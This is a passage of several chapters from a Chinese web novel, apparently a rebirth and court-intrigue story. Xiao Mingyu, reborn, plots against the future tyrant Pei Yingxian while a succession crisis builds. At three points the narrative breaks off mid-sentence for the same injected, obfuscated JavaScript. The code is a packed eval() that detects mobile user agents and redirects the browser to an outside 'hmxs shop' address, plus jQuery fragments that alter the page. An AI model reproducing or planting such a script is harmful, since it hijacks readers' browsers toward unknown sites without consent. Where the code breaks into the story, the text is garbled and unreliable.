那时十七岁的萧鸣玉仰起脸,与所有人一样仰视着这位金尊玉贵的郡主独女,在了解她是否真如传言所说那样顽劣之前,先意识到她的笑容究竟何等明亮。 只是裴应弦并不曾看向萧鸣玉。 记忆中,裴应弦笑意盈盈地向他的长姐萧鸣鸾敬酒,语气里真真假假几多钦佩与欢欣:“希久闻青凤君大名,今日得见,才知传言竟比本人还要逊色得多。居虞林许久却未曾前去拜访,希悔不当初呀!” 所以,是的。她一定又是来与长姐搭话。 指甲刺破了手掌,萧鸣玉感到温热的血珠缓缓滑过皮肤,而后渗入袖摆的布料中。 疼痛因存续太久而滑向泛着冷意的麻木,萧鸣玉垂眼盯着衣袖上缓缓扩散的暗红色湿痕,微微叹了口气。 “二公子怎的没什么精神,可是菜肴不合胃口?若有,公子千万要告诉我,我好立刻差人去准备新的呀。” 裴应弦含笑的声音落进他耳中,萧鸣玉脊背一僵,不得不抬头看向来人。 花厅中煌煌灯火映得厅堂中比白昼更明亮,裴应弦歪着头看他,笑眼弯弯,讲话时双唇开合,整齐洁白的齿列在唇间一晃而过,泛着被酒液浸过的湿润光泽。 他不可自控地想起那张嘴是如何谎话连篇,用裹着蜜糖似的言语,巧舌如簧地拨弄人心的弦。 他不合时宜的沉默让裴应弦挑起了眉毛,身旁的萧鸣鸾忙低咳一声,替他应道:“劳大娘子费心了,鸣玉前日受了凉,偶感风寒,还未全好,故而精神不振。还请大娘子见谅。” 在重要的交际场合走神,还要长姐开口救场,萧鸣玉回过神时双颊发热,报赧地起身致歉。 裴应弦倒不与他计较——想来也是,第一次见面就把自己当成歹人按在了墙上,她这会儿应该也在忐忑呢,毕竟裴大人武将世家出身,教育起女儿来可是从不手软。 “二公子身体抱恙还特意前来,希真是受宠若惊。”裴应弦摆出十足真诚的表情,回手从邻桌抄了壶酒来,挽袖替萧鸣玉斟上,“公子且喝杯温酒暖暖身子,也尝尝这久负盛名的甘棠酒滋味如何。” 酒液在灯光里漾着柔和润泽的浅金色光芒,温热的酒气扑上萧鸣玉的面颊,带一点辛辣、一点清甜。 他不愿喝裴应弦的酒。 上一次裴应弦亲手为他斟酒,笑吟吟地看着他饮尽,然后柔声告诉他:汶南焦氏,搜刮民脂民膏,私园违制,似有反意。 “萧先生,你说,我要怎么处置她们才好?” 焦氏没落,园圃凋零,何来违制之说?敛财是假,犯上才是真——焦翀一本奏表递上来,细数镇北侯裴希罪名二十八条,言她狼子野心、觊觎天下,是为大宪的头号贼臣。 萧鸣玉握着玉杯,下肚的冷酒冻成冰,激得他从头顶一路凉到指尖。 焦翀死了,焦氏后裔不得入朝为官。萧鸣玉的辩驳、澄清、劝诫、恳求,一句也没落在裴应弦那颗石头似的心上。 与当时相似的愤怒与悲哀再度涌上来,在胸腹间涌动成一股强烈的恶心。 萧鸣玉盯着酒杯想,我居然忘了。 见到裴应弦那张年轻的、无忧无虑的脸,他居然就这样忘记了自己为什么要来—— 萧鸣玉,你来是要裴应弦死的。 你要杀了她,才能阻止所有的惨剧再度发生,才能阻止天下再次被她烧成一片火海。 而他想要诛杀的对象此时正捧着酒杯递过来,眉目舒展,眼神无辜,看不出一点日后将手染鲜血的模样。 萧鸣玉不合时宜地出神:他应该把“前世”裴应弦做过的一切,怪罪在面前这个十五岁的少女身上吗? 这个裴应弦还什么也不知道,什么也没做过,只是个被裴大人和高亭郡主宠坏了的小孩,她应该承担这些现如今只存在于萧鸣玉记忆中的罪孽吗? 他就在这样莫名生出的纠结与犹疑中机械地接过裴应弦手中的酒杯。温热的液体滑入喉咙,萧鸣玉尝不出丝毫滋味,只听见裴应弦含笑的声音:“如何?甘棠酒若是合公子口味,过几日便给府上送去几坛,正巧我也早就想去府上拜会了。” 萧鸣鸾回应了什么,萧鸣玉听得不太分明。喉头酒气带着隐隐回甘,热意自肺腑间上浮,熏得萧鸣玉有些昏昏然。 他在温酒带来的柔和的眩晕感中确定了两件事: 第一,他现在不可能对裴应弦动手。 现下客观条件是一个方面——裴应弦是高亭郡主独女,当今陛下乃是她的皇姑母,身份尊贵,不容有失。且裴应弦生母裴栩祖上三世为将,威名赫赫,母女两人都练就一身好本事,萧鸣玉是个书生,就算习六艺时练过射术,却绝无能威胁到裴应弦的水平。 况且,裴应弦上辈子是行了许多不仁不义之事,可如今她双手干净,对那些尸山血海一无所知,怎么能现在就用那些罪名来审判她? 万一……万一这一次,她不再那么做呢? 第二……他不想再见到裴应弦了。 至少,在他还无法忘记十二旒之后那张冷漠虚伪的脸的现在,他不想面对十五岁的裴应弦的笑容。 宴会结束后,萧鸣玉与长姐乘车返回萧氏祖宅。 萧鸣鸾对弟弟整个晚上心不在焉的表现表示体谅,见他不愿说额上的伤痕从何而来,便也不再多问,只让他回去好好休息。 马车驶出繁华的路段,郡主府上犹自未歇的乐声渐远了,萧鸣鸾合上眼睛,盘算起过几日入澧阳的行程。 她今年二十一,若非为父丁忧,早该入朝为官。如今丧期刚过不久,皇帝岑瑛便召她去澧阳做谏大夫。 萧氏在朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999072|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中势力不小,姐弟三人的母亲萧承安在尚书台任要职,颇得皇帝信任。 如果不是此前萧鸣玉表达过希望留在家中进学的态度,此次征召也该有他的名字。 萧鸣鸾恰想到此处,身旁的萧鸣玉忽然轻声开了口:“大姐,有一事……想与大姐相商。” “几日后西入澧阳,弟欲与大姐同去,不知可否?” “你要去澧阳?”萧鸣鸾意外地侧过头,“有什么要事么?” 萧鸣玉面上闪过一丝苦笑:“方才宴会上便在思索,闭门造车终究空谈,我虽一心精进学问,却也不该闭目塞听。我想,在澧阳,应当能学到更多……经书之外的东西。” 他一席话自圆其说、逻辑通畅,萧鸣鸾对他暂避裴应弦的念头一无所知,当即应下:“说得在理,澧阳也有经学大家,你若有心,也可前去请教。只是,入了澧阳,恐怕陛下又会……” 拉你去做官。 分辨出姐姐话音中的犹豫,萧鸣玉答道:“无妨,若有皇命,琮自当领职尽忠。” 他态度变得太快,萧鸣鸾带着思忖的目光沉沉落在他身上,半晌欣慰点头道:“你能想通这点,便再好不过了。” “我们三日后出发,行李你不必操心,先好好养病吧。” 入澧阳,当然不可能只是为了避开裴应弦。 前世,萧鸣玉在投效裴应弦之前从未入朝为官,只在虞林祖宅中读书进学,偶尔出门,也是拜访几位经学大家,请教的都是学问上的事,不曾涉入政治漩涡。 然而现如今,他既然已经决意不重蹈覆辙,便必须做出一些改变。 动乱开始前,留给他的时间已经很少。他要找机会与两位皇女接触。前世时他应裴应弦的要求,短暂地与现今皇长女晋王岑浩讨论过《诗》《书》,岑浩很聪明,许多地方一点就通,他曾觉得十分遗憾,若是岑浩身体好些,天下未必会乱成那副样子。 至于皇次女岑渺,萧鸣玉与之仅有过几面之缘。裴应弦“偏听偏信、自作聪明”的断言不可尽信,萧鸣玉需得亲自前去判断,究竟谁才是值得他投效的明主。 ……无论是谁,都不能再是裴应弦。 况且,作为国都,澧阳先后经历数次战乱,裴应弦初次起兵,便是自微州西入澧阳平乱。 战乱无情,若情势危急,纵使贵为三司九卿也无法幸免。 比起死在相对和平的虞林,裴应弦如果在领兵平乱时死在澧阳……会合理很多。 车轮碾过青石地面,古老的府邸渐渐远了。马车在初升的日轮之下向西行去,萧鸣玉收回回望的目光,倚在椅背上合上眼。 想象中裴应弦死去的画面令他不适,因那张了无生气的姣好面庞,看上去太年轻、太干净、太无辜。 萧鸣玉很难相信,在一次又一次地失望之后,他竟还会对裴应弦生出近似于不忍的情绪。 但这确实发生了。十五岁的高亭郡主独女裴应弦,和三十七岁的北燕皇帝裴希……简直是两个人。 他缓缓吐出一口浊气,想,裴希,别领兵来澧阳。 别走上前世那条路,我们就能井水不犯河水,互不相干地过完这辈子。可一旦你偏偏重蹈覆辙…… 我也就别无选择了。 5. 晚来天欲雪(一) 金正四年,腊月初四,大寒。 天阴沉沉的,冷雨夹杂着雪沫,斜斜打在墙头青瓦上。路上行人无多,皆低头缩颈,裹紧衣袍,在寒风雨雪中匆匆赶路。 裴应弦裹着一身寒气踏进高亭郡主府邸大门,家仆忙迎上来,要去接她肩头半湿的大氅。 她把厚重的大氅交到家仆手里,探头往东厢的方向看了一眼,边走边问道:“爹还没回来?” “是。不过郡主大人今晨倒是来了信,已交给裴大人了。”对方恭敬地回道。 裴应弦应了一声,站在檐下想了想,转身往母亲的住处走去。 裴栩的房间外一片安静。天太冷,裴大人担心侍从们冻坏了身子,便把人都遣去附近的厢房歇着。 她停在屋外,叩了两声门。指关节撞上门板声音清脆,惊动了院中雪枝上一只翠禽,鸟儿扑棱棱振翅起飞,很快消失在阴沉的天穹尽头。 裴应弦收回目光,推门走进房间。 炭火熏出的薄薄热气扑上她的面颊,屏风后,裴栩正不紧不慢地往瓷壶中添水。 见女儿进来,她头也不抬:“又去刺史府搅薛大人清静了。” “娘英明。”裴应弦笑嘻嘻地蹭到母亲身边坐下,接过白瓷壶给裴栩续上茶水,“女儿今日赢了薛大人手下部曲督呢。” 裴栩的目光从茶杯上移开,瞥一眼裴应弦被豁了个大口子的衣摆,又瞅瞅脱了线的袖口,半笑不笑地从鼻子里哼了一声:“那是人家让着你。” 虽然不忿,裴应弦却不得不承认,裴栩真是太了解她了。 今年年初,前任微州刺史死了个爹,卸任回乡丁忧,皇帝便派了薛令仪来接任。薛大人虽是文官出身,却一向对武事重视,新官上任三把火,先把微州军里贪墨的、营私的、尸位餐素的烧了一遍,统统踢了出去。 这还没完,薛令仪亲自检阅后,仍觉得微州军散漫,不成样子,便携厚礼亲自登门,想请裴栩出山整顿。 裴栩年少时在郸州北部领兵打击异族,功勋累累,受过一次重伤。伤好后,陛下先赏财名,又将亲兄长赐婚给她。裴栩与高亭郡主结亲,自此以后几乎没再动过武——除了揍裴应弦。 薛令仪登门一趟,没请到裴栩,却招来了裴大人的女儿。 裴应弦跟着她往刺史府走了一遭,与薛令仪相谈甚欢、相见恨晚,当即引为忘年交,与这位比自己母父还年长的刺史大人称姐道妹起来。 自那之后,裴应弦隔三差五便往刺史府跑,有时拎着她的长刀,有时抓着几卷兵书,又或者扯着申晚照也一起。 她舞刀弄枪地把薛令仪几位得意手下打了个遍,和大家都混了个脸熟,还得了个“小裴将军”的戏称。有“将军”自然便有“军师”,申晚照瘦瘦小小,练武没戏,兴趣使然,兵法又读得好,于是成了“小裴将军”手下的军师,免得裴应弦这个小将军当个光杆司令。 裴应弦家学渊源,一柄长刀打遍刺史府无敌手,却屡屡败给这微州部曲督。 今日又战,她瞅准了把人逼上院角一片薄冰,趁着对方脚下打滑猛攻,才勉强和人打了个平手。 平手已是最高战绩,吹嘘到亲娘面前,自然得再往上虚抬一抬才好出口。 但裴栩何许人也,自幼习武,少年统兵,瞄一眼就知道,自家好女赢不了,这是好面子,在讲大话呢。 眼看吹嘘不成,裴应弦当即转移话题,扯出另一件事来:“对了,娘,你知道我今天在刺史府还见着谁了么?” “嗯?” 裴应弦端起杯子举到嘴边,神神秘秘道:“萧机,萧鸣枢。” 裴栩意外地一扬眉毛:“萧氏三公子?他去做什么?” “您肯定猜不到——”裴应弦拖长了声音,摆出一副高深莫测的表情,笑道,“他想从薛姊那里讨个兵曹史做。” “……哈?”裴栩哭笑不得地放下杯子,“这三公子……” “是吧!”裴应弦眉飞色舞地比划起来,“他长姐次兄都那么端庄,一个两个玉人儿似的,又雅致又矜贵,谁想得到他居然对这武事感兴趣?” “而且,他见我和薛姊关系密切,还凑上来和我搭话,想要我帮他问问这职位做不做得呢!他说,他那好二哥最近屡屡从澧阳送信回来,要他收心,去澧阳进学,他得赶紧在这边找点‘正事’做,才有正当理由拒绝二哥。” 裴应弦说得口干舌燥,连灌两杯水,才继续道:“上月我生辰时,和他姐兄有过一面之缘,‘青凤君’萧鸣鸾自是不必多说,四岁通诗书,天纵奇才,你和爹天天拿她打击我,我都习惯了;那萧氏二公子也是个文雅端方的读书人,怎么唯独这萧鸣枢……” 她端着空杯子斟酌了一下用词:“……像个捡来的野孩子啊?” 裴栩啪地给了她后脑勺一巴掌:“胡说八道。妙音,你这张嘴——” 裴应弦连忙讨饶:“这里只有我们俩嘛,当着外人面我肯定不会这样说话!” “罢了。”裴栩摇摇头,转而解释道,“萧三公子情况是特殊些。诞下他后不久,萧承安大人便被急召回澧阳就任了,萧机的生父听信一方士的命数之言,将三男送到了萧大人兄长家里。萧机在他舅舅家长到七岁才被接回虞林,自然比不得姐兄知书达理。” “那倒也不错,”裴应弦嘀咕道,“没长成萧鸣玉那死板样子。” 她对自己与这位萧二公子的初见念念不忘——毕竟她先把人咣地按在墙上了。莫名其妙遭到这种对待,是个人都要生气的吧?但萧鸣玉…… 啧。他看过来那眼神,与其说生气,倒更像……说不上来,像自己欠了他什么似的。 还有手掌上的掐痕,他铁定握了一路拳啊!是什么让他没真的往自己脸上来一拳?世家大族良好的教养,还是打不过她的自知之明? 裴应弦对此百思不得解,最后把对方奇怪的举动归咎于从小读书把脑子读坏了,遇事不会表达不满,只会一味压抑情绪—— 然后压抑出问题了。 生辰日后没多久,裴应弦就假借送甘棠酒之名去过萧家一趟。但接待她的除了萧承安那年逾古稀的老父,便只有一个看上去还没太睡醒的萧鸣枢。据她们说,大娘子和二公子昨日刚走,到澧阳就任去了。 裴应弦失望而返,既没能如愿和萧鸣鸾拉近点关系,又没能私下给萧鸣玉道个歉把初见时的误会解开,这事便就此搁置。 今日乍一遇上萧鸣枢,裴应弦险些没认出人来,还是对方先向她行礼,她才堪堪回忆起这人谁。 “我们妙音好像对萧二公子意见很大。”裴栩听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999073|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的嘀咕,偏过头瞥她。 裴应弦嘴角往下一撇,阴阳怪气道:“哪敢啊,人家现在可是澧阳的红人,鉴者口中‘丹墀对策,金殿舞墨’的栋梁,大名鼎鼎的‘莹璧公子’,我裴希算哪号人,敢对他有意见?” 裴栩好笑地摇头:“怎么还比上了。萧氏书香门第,族老官至三司,小辈当然也出色些。你娘我是个粗人,祖上都是些舞刀弄枪的,和你爹成婚是陛下开恩,当然不……” “还说我呢,娘才是胡说。”裴应弦不干了,从座位里跳起来,险些撞翻小案,“那些满口仁义礼智的清流们顶什么用啊?蚩羯人打过来,不照样屁滚尿流地弃城跑了?真有事,不还是得我们这些舞刀弄枪的粗人顶上去——” “嘘。”裴栩敲了敲桌面,“妙音,慎言。” 裴应弦叉着腰哼了一声,半晌还是咽不下这口气,眼珠子快要翻到天上去:“澧阳那群‘鉴者’天天品评人物,把什么这君那公子的吹得天上有地下无的,我看也就一个萧鸣鸾还算真有点学问,剩下的都是家族包装出来的草包。一天天鉴来鉴去,她们那嘴倒是真挺贱的……” “裴应弦。” 母亲的表情这下真的严肃起来了:“澧阳鉴者皆学问深厚,每有一词,天下听之信之,受评者‘声名成毁,决于片言’。” “现如今,还轮不到你品评她们。把你的嘴闭上,否则你就别再出门了。” 完了,娘真恼了。 这下必须得噤声了,再多说两句,恐怕又得挨揍了。 裴应弦瘪瘪嘴安静下来,臊眉耷眼地重新坐回去,猛猛灌了一杯冷透了的茶水。 冰凉的液体滑入喉管,她微微打了个颤。冲动上头的不忿渐渐退下去,裴应弦转着杯子,低头嘟囔道:“好好好,女儿错了还不行么?别禁我足啊……” 她两句讨饶的话还没出口,便被廊下一阵渐近的脚步声打断了。 片刻后,得到应允的侍从快步走进屋内,在裴栩面前停下。 她从怀中小心地掏出一封信来,低声道:“郡主大人密信,自澧阳寄来的。” 裴应弦当即挑起了眉毛。 如果没记错,她那会儿进门的时候,家仆还告诉她,她爹的上一封信今日晨间刚寄到。 什么要紧事,值得高亭郡主一日内往家里寄两封信? 对了,这封还是密信。 她探头探脑的功夫,裴栩已经飞速把信拆开读了一遍。 眼瞅着侍从退下,关好了门,裴应弦悄摸凑过去,要从母亲肩头瞥一眼信中内容。刚看见一行字,裴栩就倏地把纸攥成一团,一扬手丢进了火炉中。 焰光很快跳跃着吞噬了纸张,侍从已躬身退下,裴应弦看看裴栩严肃的脸色,小心地开口问道:“娘……这是怎么了?” 裴栩的眉心无意识地蹙起,目光落在炉中火苗上。直到裴应弦又问了一遍,她才像自沉思中惊醒般,转头看向裴应弦,声音在齿间压成低低一线:“……陛下她,情况恐怕……不太好。” 炉中火焰啪地爆出一个小火星,金光一闪而逝。裴应弦不再多问,只看着残余的碎纸彻底被焚灰吞噬。 刚刚那一瞥,她分明看见了乔氏和杨氏的名字。 而乔氏和杨氏,正是当今两位皇女的父族。 6. 晚来天欲雪(二) 父亲来信,真的只说了陛下病重的事么? 裴应弦快步走过回廊,挥退了要跟上来的侍从,转向府中花园。 隆冬时节,草木衰零,花园覆盖在薄薄一层积雪中,寒冷而死寂。 她在假山后停下步子,深深吸了一口冰冷的空气,又缓缓吐出来。 当今圣上岑瑛育有两女一男,长男冶陵郡主五年前便已成婚,常年不在澧阳居住,只逢年过节回宫参拜。 两位皇女中,晋王,也即皇长女岑浩,自小养在皇后乔氏名下,今年十七,通透过人却体弱多病。皇次女岑渺封赵王,由衾公子杨氏养育,刚满十岁,据说也古灵精怪,聪颖可爱。 裴应弦和这两位表姐妹不怎么熟,非要说的话,她反而和表兄冶陵郡主更亲近些,毕竟冶陵郡主和故威武将军的女儿成了婚,裴应弦还跑去找这位表嫂切磋过。 皇姑母身体一直不好,裴应弦是知道的。 上个月,她爹刚给她过完十六生辰,次日便西入澧阳,便是因为忧心皇帝的健康。 陛下若是情况不好,很自然地,所有人都会开始把目光投向两位皇女。 按理来说,太子之位本不该存疑——岑浩在皇后膝下长大,又素有贤名,且二皇女岑渺到底才十岁,如此年幼,难当大任,任谁来说都该立长。 可坏就坏在,岑浩继承了母亲的聪慧,同时也继承了母亲的病。 反复地缠绵病榻,大把大把的药材消耗,隔三差五暴露出的虚弱无力,让岑浩能否得到太子之位变得有些扑朔迷离。 加上二皇女生父杨氏同样势大,朝中左右摇摆者人心浮动,整个澧阳城中暗流汹涌。 乔氏和杨氏若要打擂台,此时纵不能摆上明面,却也得开始着手拉拢人心了,若是做些什么小动作、闹出些什么动静,不奇怪。 高亭郡主送来的密信恐怕就与此有关。 裴应弦无意识地揪着袖口破处的线头,脑子里把朝中已知的情况飞快地过了一遍。 高亭郡主岑津丰只担心妹妹的身体,对权力更迭并不在意,裴栩又因旧伤已赋闲多年,裴应弦对澧阳之事的了解,除了在薛令仪处听闻,便是通过申晚照那在朝中任大司农的母亲知道的。 她明白自己其实不必为此感到忧虑:裴栩战功赫赫,裴氏仍有宗亲在军中,而高亭郡主再怎么不关心朝政,他终究姓岑,无论太子之事如何收场、无论岑浩岑渺谁坐上高位,她们家都不会受到太大影响。 但…… 皇权动荡,到底不是好兆头。 风又紧了,天色愈加阴沉。身后不远处传来折枝声,裴应弦回过头,看到一枝被积雪压折的枯枝落地,震下簌簌一片素白。 雪越下越大,早从雪沫变成雪片,现下竟坠成雪团了。她在假山旁立了这一会儿,肩头发上便积满了雪。 裴应弦蓦地打了个寒战,转身往廊下走去。 四百余里外的澧阳城中,骤雪铺天盖地,纷纷扬扬的素白在寒风中飞卷,银蝶白羽般簌簌而落。 萧鸣玉坐在窗边,放下手中的信,头疼地按了按眉心。 白雪把室内映得一片亮堂,面前的纸上,萧鸣枢那张牙舞爪的字还在锲而不舍地攻击他的眼睛: ……愿留守故宅,代长姐长兄伺候祖父膝下,勿念…… 屡教不改,屡唤不应,犟得像头驴。 萧鸣玉离开虞林前就三番五次劝萧鸣枢也到澧阳来,别留在家里蹉跎时光,但每次都无功而返。他又不能把弟弟绑来,只好暂且搁置此事。在澧阳安顿下来后,他又开始往家里寄信,继续劝萧鸣枢,然而他的好弟弟愣是不动如山,次次在信中装傻扮痴,任他怎么劝都不肯移驾。 冷风从窗缝钻进来,吹得信纸翩然欲飞。 萧鸣玉眼不见心不烦地抓过一本书压上去,闭上眼长长地叹了口气。 若不是太常寺的事务繁多,他这个博士一时半会抽不开身,萧鸣玉真想亲自回虞林一趟,把这不着调的三弟押来澧阳。 倒不是他真的一定要抓萧鸣枢来进学——虽然他确实有考虑过这事,但这根本不是重点。 重点在于,他这次必须保住萧鸣枢的命。 明年一月,当今圣上岑瑛便要驾崩。届时,皇长女和皇次女父族的两派势力会搅得整个天下都不得安宁。 战乱四起,兵戈遍地,没有什么地方是绝对安全的。 上一世,他没来澧阳,和萧鸣枢一样留在虞林,却没能及时阻止这孩子为了帮友人送信跑出城去。 那时一帮被击溃的协州兵刚好沿着棠水东行,在磬山一带落草为寇,不敢真的攻打虞林城,却整日侵扰虞林周边的村落。 萧鸣枢便是在城外遇上这帮强盗遇难的。他死时才十五岁。 萧承安和萧鸣鸾从澧阳赶回虞林办丧事,当时,薛令仪的微州兵正驻扎在澧阳城东,遇上母女二人风尘仆仆出城,便派裴应弦带人护送。 那是萧鸣玉第二次见到裴应弦。 那时他在弟弟尸首边守了两夜,几乎一眼没合,下人唤他出门来迎时,萧鸣玉只觉头晕目眩,脚下发虚,好似踩在云里。他站在门边,呆滞地垂眼盯着青石台阶,脑海里仍是弟弟惨白的、了无生意的面孔,直到成片的马蹄声如闷雷般向他滚来,他才迟缓地抬起脸来。 八月初的艳阳下,一队士卒疾驰而来,当先一人白马如霜,银甲雪亮。 神骏的白马停在几步外,年轻的将士自马背上翻身落地,牵着缰绳快步走来。 裴应弦的面颊上蹭着几道不知从何而来的灰尘,显得有些狼狈,一双眼睛却明锐黑亮,神采飞扬。她的目光在萧鸣玉额上的白布上停留了片刻,很快移开,低头道:二公子节哀。 她简单地行完礼便转身走开,到马车边扶萧承安下车。 萧鸣玉恍惚地走过去向母亲问好,他猜想自己的脸色一定差极了,因萧承安本就憔悴的面色在看到他后瞬间变得更加难看,几乎要落下泪来。 缺乏休息让他眩晕不止,天地似乎都在扭曲旋转,眼前一阵白一阵黑,耳朵里是时高时低的尖鸣。母亲说了什么萧鸣玉一句也没听到,他的目光虚虚落在青石路面上,夏日过分强烈的日光在石板上涂抹开一团边缘模糊的亮白色,那白晃得他颅内生疼。 恍惚中他缓慢地眨眼,视线越过萧承安,看到正在与长姐说话的裴应弦。 仿佛注意到他的目光,裴应弦忽然向他的方向看了一眼。 后来,萧鸣玉偶尔会觉得,是他那时悲痛过度、浑浑噩噩,已麻木得魂不附体了,才会在那一回头上附加了太多太多本不存在的虚幻光华。 但在当时,在他与裴应弦对视的那一刻,他无法否认,自己确实被某种不可战胜的战栗所淹没了。 炽白的日光吞噬了高柳乱蝉,吞噬了楼阁亭台,连同那一队玄衣的兵士也淡化为光芒中模糊的一排影子。令人目眩的白亮光芒中,少年将军的目光明锐得像一柄剑。 巨大的哀恸与垒砌的麻木被那剑锋似的一眼骤然劈开,他重新看见颜色,听见声音,感到自己从云端落回大地上。 那一刻,萧鸣玉只是注视,而后被刺穿。 他就是在那一瞬间陡然确信,裴希,就是他一直渴望出现的那个……能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999074|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终结天下乱局的人。 事实证明,他押对了。 然而依旧满盘皆输。 裴应弦是他渴望着的利刃不假,她确实有胆识有手腕,能把大宪四分五裂的版图重新捏得七七八八,但她也有与实力相对应的野心权欲,绝非萧鸣玉想要的贤明清正的中流砥柱。 叩门声把他从回忆中捞起,萧鸣玉忙整肃容色,请人进来。 长姐萧鸣鸾的声音随着一阵冷风一同从门扉间飘进室内:“鸣玉这是怎么了?大老远便听见你在叹气。难得的休沐日,是什么又惹我们莹璧公子烦心?” 萧鸣鸾语气轻松,听上去心情不错。她转到桌前,把一只小巧的坛子放在书案上,眼尖地看见被压在书本下的信纸,抽出来瞄一眼便笑了:“哦,鸣枢。那就不奇怪了。” 是啊,那就不奇怪了。 萧鸣玉撑着额角又叹了口气。长姐大概只以为自己在为萧鸣枢不学无术整日瞎混忧心,哪里能知道他记挂的是弟弟的性命?他往家里寄信的举动母亲和姐姐都看在眼里,他又不能说实话,只好用希望三弟收心向学搪塞。可萧鸣枢着实是个犟的,小时候野惯了,也并不如何惧怕他这位温温柔柔的兄长,根本不把他说的话当回事。 “好啦,你也别整日操心他的事了,明年清明回虞林祭祖的时候再教训他不迟。”萧鸣鸾把信纸放回去,屈起手指敲了敲那只小坛,“甘棠酒,喝点解解忧,如何?” 萧鸣玉这才把目光移向那只小坛子。小坛圆润光洁,色泽均匀,封口处系一条玄色细绳,末端缀着枚同色的坠子,很是雅致。他的手指拂过那枚深色的坠子,有些意外地抬起头:“甘棠酒售价不菲,大姐又不是爱酒之人,怎么……?” “我不爱酒,难道就不能花钱给我二弟买酒么?”萧鸣鸾打趣道。 她转而一摆手,不再卖关子:“不过这确实并非我买来的。高亭郡主来澧阳,入宫探望陛下,在宫里遇上了母亲,这是他差人赠给母亲的。母亲和我都不怎么沾酒,叫我送来给你。” “我也……”不怎么沾酒啊。 萧鸣玉的话卡在喉咙里,在长姐含着笑意的目光中说不下去了。 十一月十四他在高亭郡主府上给裴应弦庆生,裴应弦敬了他一杯酒,正是这棠阴产出的甘棠佳酿。 他喝了裴应弦的酒,心绪缭乱,又因刚自死亡的阴影中重新步回人世,整个晚上都陷在前生旧事中,脑海里萦绕不去的全是裴应弦那张漂亮得近乎锋锐的面孔,以及死在她刀下的故人,于是愈发烦乱,不知不觉便灌了不少酒下去。 他发誓只有那一次喝得多了些,可萧鸣鸾似乎就从此认定了他喜好甘棠酒。 这事很难解释——他总不能说,那天晚上喝得多了,和酒本身没什么关系吧?要是大姐问起来,难道他还能说他的失态是因为敬酒的人? 那就更说不清了。 于是,再无可奈何,萧鸣玉也只好默默认了这被动附加上来的“喜好”。 只是…… 萧鸣鸾的话在他脑海中又过了一遍,他停下把玩坠子的手指,迟疑地抬起头:“高亭郡主,入澧阳多久了?” “高亭郡主?”萧鸣鸾想了想,“少说有十余日了吧。怎么?” “我前日经过郡主在澧阳的宅子,还是一片安静消停。”萧鸣玉抬起头,“郡主这些时日,怕是一直留在宫里。” 萧鸣鸾眉间浮起思索的神色,而后脸色也变了:“你的意思是陛下……” “陛下的情况,恐怕不容乐观了。”萧鸣玉轻声接过她的话,“若我没猜错,乔氏和杨氏,都快要坐不住了。” 7. 晚来天欲雪(三) 连着下了三日雪,直到初七清晨才转小,午时堪堪停了,阴云却不肯散,仍密密压着虞林城。 裴应弦一早便跑去刺史府,薛令仪不知在忙什么,直等到傍晚也没见人。她扫兴而归,甩下大氅,扎起袖口,在后院练起刀来。 院中积雪甚厚,踩上时咯吱有声。雪色映在银亮的刀身上,随着凛凛破空之声闪出一片明锐的寒光,直剜进四下里低垂的暝云中去。 一套刀法还未舞完,院门口先传来一声叫好。 裴应弦手腕一抖,旋身时收刀入鞘,微喘着气抬眼看过去,面上现出些意外的喜色:“子深?你怎么来虞林了?” 来人约莫二十来岁,身量高挑,肩宽腰窄,身形充满力量感,背后背着把阔刃大朴刀,眉眼与裴应弦有五分相似。 她走近两步,抬手不轻不重地往裴应弦脑门儿上敲了一记,笑道:“没大没小的,你得叫子深姊。” 裴玄裴子深,裴应弦的连枝姐姐,裴栩长姐的女儿,算来已几年都没出过旃平城了,现下突然现身虞林,裴应弦很难不感到意外。 她平复了下气息,抬手把人往府后引,好奇地回头瞄着裴子深:“你怎么舍得出城了,旃平离虞林这么远,一来一回要好些天呢,这下你不怕耽误练武练兵了?” 旃平裴氏世代为将,在协州东部势力相当大,有一支属于自己的武装,人称裴家兵。如今,这支队伍的日常训练与整备正是裴子深在负责,她也因而无暇他顾,二十有三,既未为官亦为成婚,日日与兵士同住,全副精力都投注在了裴家兵的操练中。 往年,只有清明随母亲回旃平祭祖时,裴应弦才能见到这位连枝姐姐,今天裴子深居然舍得抛下她心爱的裴家兵,亲自跑来虞林? 然而裴子深闻言露出了比她更意外的表情:“你也不知道是什么事么,应弦?” “……嗯?”裴应弦推门的手顿了顿,很快反应过来,“是我娘叫你来的吧。那我大概猜到是关于什么了。” 裴子深走快两步与她并肩:“是什么?” “这我可说不得,”裴应弦耸耸肩,在廊下停住脚步,“她叫你来的,你还是亲自问她去的好。” 